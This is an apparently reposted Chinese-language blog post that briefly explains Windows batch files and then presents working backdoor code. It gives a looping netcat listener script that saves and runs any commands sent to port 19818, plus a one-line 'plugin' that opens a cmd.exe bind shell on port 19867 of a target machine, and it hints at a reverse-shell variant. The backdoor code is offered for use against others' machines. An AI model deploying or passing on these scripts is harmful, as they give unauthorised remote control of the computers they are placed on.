注册
登录
| 关键词： 文件 nbsp shell 命令 简单 bat 正向 一个 端口 插件 |
来源:http://www.163ol.cn/angel/default.asp 先简单介绍一下批处理文件编写 批处理文件是无格式的文本文件，它包含一条或多条命令。它的文件扩展名为 .bat 或 .cmd。在命令提示下键入批处理文件的名称，或者双击该批处理文件，系统就会调用Cmd.exe按照该文件中各个命令出现的顺序来逐个运行它们。使用批处理文件（也被称为批处理程序或脚本），可以简化日常或重复性任务。 我主要介绍一下批处理来实现简单的后门功能, 以下是一个简单的例子 @echo off :start nc -vv -l -p 19818 >>shell.bat call shell.bat If Exist shell.bat (del shell.bat) ELSE echo shell.bat missing goto start 这样就是一个微型的Server端了，关键就在于插件的写法了，我简单的给大家些个正向连接cmdshell的插件做示范吧 @echo off nc -l -p 19867 -e cmd.exe 这个很简陋，只要用nc 把这个提交到目标机的19818端口就可以得到一个正向连接的shell了，用nc连接19867端口看看。至于反弹shell怎么实现，我相信不用写了吧，其实bat的功能还很强大，就看你怎么去写了。上面用判断文件存在的方法其实很笨，一时想不起来命令了，所以用了点笨办法不好意思啦 有不明白的地方或则要指教的地方请看留言,申明一点，本人不是所谓的高手，写这些纯属于个人爱好． |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
